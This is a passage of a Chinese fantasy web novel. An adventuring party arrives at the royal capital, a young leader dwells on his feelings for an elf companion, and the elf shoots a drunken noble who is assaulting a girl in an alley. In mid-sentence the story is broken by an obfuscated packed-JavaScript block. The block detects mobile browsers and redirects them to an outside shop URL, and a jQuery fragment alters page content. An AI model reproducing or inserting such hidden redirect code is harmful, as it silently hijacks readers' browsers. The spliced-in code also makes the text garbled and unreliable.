他立下不少战功,按理来说也该是退休的时候了。最后,却是来到了这里,成为了这里的长官。 聚集点之中,除了为花田中秘宝而来的逐利者,那些更多的,从远方而来聚集于此,并长久居住的人,大多有类似的背景。 昨日花田是记忆的载体,却也曾是谁人的记忆本身。 而现在,那片花田,又回到如同记忆中童年一般的模样了。 昨日花田以其的珍宝,奇幻的传说闻名于世,是无数冒险者梦寐以求的圣地。 但在某些人的梦中,那绮丽的花田,也不过只是一个回不去的家乡,一段无法复现的过往。 仅此而已。 但仍然有人愿意回来,愿意坚守,为它献出自己的一生。 而如今,那往日的回音再度奏起,他,和他们,如何能不喜极而泣呢? 他等了太久太久,连想说的话语都已经变成一片空白了。 但心中的情感是如此满溢,如此迫切地想要宣泄,想要诉说。 那么,只能流泪了。 只有眼泪,只有眼泪能够诉说。 艾伯特捏着自己的指根,情绪也开始变得沉闷起来。 忽然一阵不安涌上心头,绿发少年抿起了唇,手指动了动,装作不经意地向旁边瞄了一眼。 精灵看着窗外,似乎并没有察觉,碧水一般的眼眸清澈而透亮,安静得从来都不会起一丝波澜。 但艾伯特知道,不是的。 他见过他笑,见过他转圈,也见过他安慰他的样子。 艾伯特小心翼翼地挪了挪,靠近一点,他悄悄地,用手指蹭了蹭阿方索的衣角。 那真的真的是非常非常小心的一下,刚碰到布料的触感就收回了手,一般人是根本不会注意到的。 但精灵明显不是一般人。 阿方索动的那一瞬间,艾伯特的心提到了嗓子根,一时间,竟然想不出什么应对的方法。 可阿方索没有回头,也没有说话。 他只是把手从腿上移下,轻轻地放在了艾伯特的手边。 两个人的小手指贴在一起,因为只是贴着,谈不上有什么特别温暖或者说柔软的触感。 但是,能让人感觉到那个人的存在,知道,他一直在他身边。 艾伯特默默低着头,一动不敢动,脑子里却忽然闪过,似乎是在很久以前读过的一首诗歌。 太阳、月亮、星星,那些都过于遥远。 我只想做你手边,一朵小小的花。 最好是在湖泊之畔。 什么颜色都可以,只要能让你看见就好。 你能够摘下我。 而我,能够触碰你的指尖。 艾伯特也不知道自己为什么会忽然想起,他不是那种常常会诵读诗歌的人。 但在阿方索身边,自然而然,就会想起很多美好的事物。 人的一生,为了想要的东西四处奔波,或者想要寻觅到一片安心之处。 但恍然回头,兜兜转转,还是走了同样的路。 可是,这都是没有关系的。 艾伯特想。 尽管麻烦事从来没有停过。 回去之后,家族会怎么对待自己?王室究竟要做什么?那个前台究竟是什么身份? 而那个与自己有相同样貌,剑术高超,说着奇奇怪怪话的男人,又是因何而来,又经历过什么……… 生活还有很多很多谜团。 但无论前方要面对什么,都没关系。 因为,他想要依赖、想要保护、想要留在身边的那个人…… 此刻,已经在他面前了。 既然还有行进的能力,路,还是要一直走下去的,直到再也无法前进一步。 或者…… 直到,再次踏上归途。 45. 惊逢 车厢外的马蹄声渐停,替代哒哒声,随之而来的,是无数嘈杂的人声,伴随着高喊和笑语。 掀开浓紫色的布帘,窗外高楼林立,风格各异的建筑在此荟萃。 无数的商贩在此吆喝,无数的珍宝在此汇聚,形形色色的种族在此来去,神情匆匆,仿佛永远不会停下脚步。 诺曼放下帘子,缩回头,深深地做了一次呼吸。 “真是熟悉的空气啊。”他长长地感叹道,又笑着说,“全是人的味道。” “废话。也没有哪个城市,会比这里人更多了。”梅茜一边把报告塞进包里,一边接话。 “毕竟,这可是阿德剌斯托斯?。” 旁边的妮娜轻声附和。 车厢里陷入了一瞬间的安静。 是啊,这可是阿德剌斯托斯。 泊昂里斯王国的首都。 高贵的阿德剌斯托斯,不可逃避之处。 无论是因为接下来要面对的事情,还是因为对即将归乡的一时怅惘。 在马车上的人,或纠结,或不安,或疲惫,或失落,表情多多少少都有些复杂。 只有某个人,依然毫无所觉地处于状况之外。 艾伯特注意到,阿方索仍看向外面,心里莫名有些酸软,等那点酸软过去,忽然就没那么担心了。 该说无知是福吗?可阿方索才不是无知的,他只是不需要担心。 但是,即使是有知,有需要担心的东西,阿方索估计还是会是这个态度吧。 这样处变不惊,真是好有魅力啊。 正看着人家的侧脸痴痴发呆,就忽然对上了对面清澈的眼睛。 “那边,也是骝马吗?” 阿方索转过头,向一边的绿发少年询问。 “啊,好像是。”艾伯特立即回神,装模作样地向那边望了望,目光却在精灵纤长洁白的手指上停留了片刻。 他想起刚从花田离开的那段路途,他们小指相贴的那段时间,每一秒都值得铭记。 当晚,冒险团和温德在一个小城落脚。 艾伯特在自己的房间里洗漱时,他站在镜前,已经有涓涓细流从铁制的水龙头流下。 少年却没有把手伸到水龙头的下面,而是侧过手,盯着自己的小指发呆。 他当时也不知道自己在想什么,鬼使神差之间,艾伯特轻轻地抬起了手,像做贼一般,悄悄在小指侧边落下了一个吻。 或许也是觉得自己这样的行为过于不正常,艾伯特一做完这个动作,也很不争气地红了脸。 他原地来来回回走了两圈,最终捂住嘴发出了一声压抑的尖叫。 好不容易缓和一点,才想起水流还没关,艾伯特猛地冲上去,拧严了无辜的流水。 自身也滑跪坐在洗漱台边,把自己拧成一团。 好不容易抬头,喘出口气,没一会,又抓着自己的头发,莫名开始编起小辫起来。 编好就看着辫子吃吃地笑,然后再解开。 看起来精神不太正常。 相当不正常。 如果沃德家族里任何一个人看到这一幕,那这位次子以后,估计也就是疯人院的命运了。 可惜,那些人还远远在数百里的王都,所以,这番扭曲的行为,只能是无人知晓了。 那只手最终还是没洗,拿完毛巾胡乱擦干净脸之后,就扑到床上用枕头捂住了脸。 最后可能是缺氧了,没多久就睡着了。 “好像是……看起来相当华丽呢,不知道是谁家的马车。”努力把视线从指尖挪开,艾伯特才注意到外面停留的马车。 结果仔细看两眼,才发现好像真的有点问题。 第一眼注意到的,是马车前那六匹艳丽的生物。 对面的骝比他们的还要高级,背上的鬃毛鲜烈如火,眼睛也亮得发红。 艾伯特脸上的表情渐渐变得严肃,眉毛微微拧起。 这种高级的骝基本不流通,只供那些最上层的人士使用,剩下的大部分都掌握在冒险家公会的手里,毕竟他们是培育方。 马车车厢极大,连外表装饰的帘布都是由丝绸所制,布满了华丽的暗纹。 六匹骝,即使是一般的贵族公子,也很少会有这样奢靡的出行。 “那谁啊?”艾伯特忍不住开口。 “什么?”诺曼转头,也好奇地凑过来,但还是晚了一步,只看见了那车的尾气。 “刚才有辆马车,上面有六匹骝,还是最高级的那种。” “六匹骝?”梅茜疑惑挑眉,“他车里拉的是什么,戴着皇冠的大象吗?” “王国里能用上这样规模的,除了王室,也只有公爵了。”妮娜的目光意有所指地落在了黑发青年身上。 “别这么看我,我坐在这里,还能分身不成。”公爵的独子冷冷开口。 “……也不会是我父亲母亲的。要不是为了撑场面,谁有事没事拉它们出来,国王平时也没有那么奢侈的。”温德明显不满,他扭头看艾伯特,“你确定没看错?” “他没错。”在团长回答之前,精灵侧过脸,替艾伯特回答了温德的质问。 “我也看到了,是六匹红色的。”他说。 艾伯特看着他,心里一动。 精灵的发型早已换回了一开始的低马尾,现在被深灰色的斗篷包裹,捂得严严实实。 辫子刚解开的那一天,他们刚好在一个小城落脚,按理来说,艾伯特应该有些小小的遗憾才对。 但来不及为失去的长辫哀悼,第二天一早艾伯特就站在了精灵的门前。 这一次,他师出有名。昨天分开前,他们可是约好了一起吃早餐的。 他矜持地敲了两下门,不久,门从里面拉开时,阿方索站在那里,揉着眼睛,看起来刚起不久,还没来得及扎发。 月光般的头发洒在脑后,竟然有了一些微微的卷,弧度并不夸张,如同微风拂过时水面的涟漪。 但垂在脑后时,给一向清冷的气质平添了几分缱绻,又有说一种不清道不明的感觉…… 一丝妩媚,若隐若现地绕精灵在身侧。 几缕碎发打着卷贴在脸颊,显得人比平时还要小一些,简直就像是海报上的洋娃娃,只是更加令人怜爱。 让人想要捧住他的脸,好好摸摸,捏捏,再咬咬,看看那张小脸是不是真的如同看起来那么软。 反正艾伯特是受不了。他捂住脸,转过身,背对着歪了歪头,目光不解的精灵,指缝中的脸通红。 怎么办……超级可爱。 一大早就看见这个,真是感谢款待。 温德看这两人的互动,莫名也不是很想说话,也无话可说,只觉得牙根发酸。 他哼了一声,不再回应。 “好了,既然都看不见了,就先别想了,再遇见再说吧。”梅茜拍了拍手上的包,“先去公会吧,我得先把学院委托的材料交了。” “这几天赶路,别拖着拖着,真的把时间给拖过了。” “那我先去王宫了。”温德点点头,没有异议,顺手把信息传递给骝马,“反正都到王都了,你们总不至于没地方住吧?” 他说这话的时候没有一点心理负担,一个学院的特邀学者,两个贵族少爷小姐,还有一个在这里盘根许久的商人,没有地方住才是笑话。 至于阿方索……还是要担心他引起沸腾比较实际。 且不提自身能力,就光是那张脸来说,兜帽一摘,求爱者将以秒为时间单位迅速翻倍增长。 呃啊,精灵的种族红利真是恐怖。 不过,哪怕不是精灵,长成那样也完全是犯规的吧,世界都变成简单模式了。 “……算了,要是真没有的话,来公爵府找我,报我的名字就行。”目光在艾伯特和阿方索身上流连了一下,大魔导师还是补充了这句话。 虽然不一定,但是万一呢? 万一被赶出来的话,好像也不是没有可能。 钱不钱的不是问题,万一真的被追捕了,按照沃德家族那样的势力,也只有公爵府可以让这位避一避了。 “那就,却之不恭了。”艾伯特扯了扯嘴角。 马车停下,几人有序下车,第一眼就看到了前面巨大的牌匾。 王都冒险家公会,是最大规模的冒险家公会之一,也是冒险家公会的本部。 “总算到了。”梅茜捧好背包,长叹一口气,“这一路可真不容易。” “岂止是这一路啊。”诺曼揉了揉脸,苦笑着说。 “还是先进去吧,不然过一会儿,排队就不好了。”妮娜看这里边渐渐增多的人群,有点小小的担忧。 几人往里面走去,而就在踏入公会门的前一秒,一道尖锐的女声响起,引起了他们的注意。 “唔,放开我……!” 声音来自旁边的一条小巷。 冒险团停住脚步,艾伯特探头看去,发现是一个少女和一个男子正在一起拉拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805160|207612||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 扯扯。 更准确的说,是男子在纠缠那位少女。 精灵也在看向那边,目光渐渐变得锐利。 少女被扯开身上的披肩,手臂也露了出来。 她的肌肤莹润,即使在小巷昏暗的光线中也能看出保养得极好,脖颈线条脆弱,一双海蓝的眼睛摄人心魄。 抓住她披肩的男人一身酒气,醉醉醺醺地说着胡话,但衣着看起来相当不错。 特别是配剑,看起来价值不菲,一看就是贵族阶层出身的公子哥。 看见少女挣扎,他不满地退后一步,却不是放弃,反而变本加厉,直接攥住了她的头发,动作粗野。 少女闷哼一声,一双手紧紧抓住头发根部,防止被完全掌控,嘴唇咬得发白,却仍然倔强地不肯求饶。 周围路过的人有些加快脚步,有些面露不忍,也不乏窃窃私语的,但惧于身份,没有一人敢真正上前。 即使是报告督察队,赶来也需要一段时间。 怕时间来不及,怕对方腰间的那把佩剑,也怕督察队会因为身后的背景,高高拿起,轻轻放下。 精灵的手指动了动,但是没有立刻做出行动。 他看向身旁的艾伯特,一双碧色的眼睛意图明显。 尽管没有说话,艾伯特当然明白他想要做什么。 按理来说,如果当面就冲突的话,还是在这样公开的场合,事情注定会很麻烦。 对面身份明显不低,一回王都就闹出这样的事情,还是太容易引起不满,打草惊蛇了。 但看着那双眼眸,他怎么能拒绝呢。 阿方索想去做任何事情,就应该去做。 艾伯特只可能帮他,不可能阻止。 年轻的团长没有出声,只是点了点头。 得到艾伯特的默许后,精灵再没有丝毫犹豫。 他轻挪脚步,走近巷口,悄无声息。冒险团跟在他的后面,面对精灵的做法,谁也没有提出异议。 位置刚好,阿方索拿起背后的长弓,过程中,木弓在指尖转了一圈,最后稳稳停住,动作灵巧而熟稔。 搭弓,射箭。 不同别人需要相对漫长的时间调整和瞄准,精灵的动作轻盈而迅捷,对面还没反应过来发生什么,手掌却已经被洞穿。 那个纨绔子弟大为痛苦,猛地松开手,捂住伤口哀嚎起来。 少女的头发也散落开来,在阳光下闪着柔和的光泽,看起来十分美丽。 只是几滴鲜红,也落在发丝上,玷污了这样圣洁的颜色。 她没有庆幸,手按着身上有些破烂的披肩,眼睛朝顺着射来的角度看去。 眼神在对面长长的耳朵上一停,那双漂亮的眼睛瞪得更大,长长的睫毛如同蝴蝶翅膀一般扑闪。 那一瞬间,少女看清了阿方索的脸,也自然也看清了他的身份。 纨绔被射中了手掌,仍然不死心。即使一只手半废,但酒意上头,还想扑上来报仇。 “哪来多管闲事的贱民,知道我是谁吗?爷看上了她,是她的福气!” 他伸出手,胡乱拔出腰间的剑,直直冲向精灵的脖颈,想要直取致命之处。 顾不上那么多,艾伯特向前一步,牢牢抓住男人的手腕。 动作利落果断,丝毫不拖泥带水,简直不像这个年纪该有的风格。 妮娜只是觉得艾伯特出手的动作似乎跟以往有些不一样,和学院教的也不太一样。 但另外两个年长一些的,经验也更丰富,几乎是瞬间意识到了不对劲。 但从目前的状况来看,完全不是询问的时机。 对方吃痛地叫了一声,剑跌落在地上。艾伯特不为所动,身体比大脑更快做出反应。 他食指用力,对面的手腕脱臼,两只手都无法动弹,终于意识到了不对,开始哀求起来。 但艾伯特并没有松手。 哀嚎激不起他心底半点波动,反而让决定变得更加透彻而清晰。 想要伤害阿方索的人,不可饶恕。 这个念头如此极端,在脑海中升起时,他自己都有些被吓到了。 可同样,艾伯特也知道,自己没有起半点想要反抗的心思。 不等同伴制止,控制住对方行动的同时,少年的另一只手摸上腰间的剑鞘,准备拔出长剑,将其斩杀—— “砰——!” 刺耳的声音传来。 一声枪响,在王都上方熙熙攘攘的空气中炸开。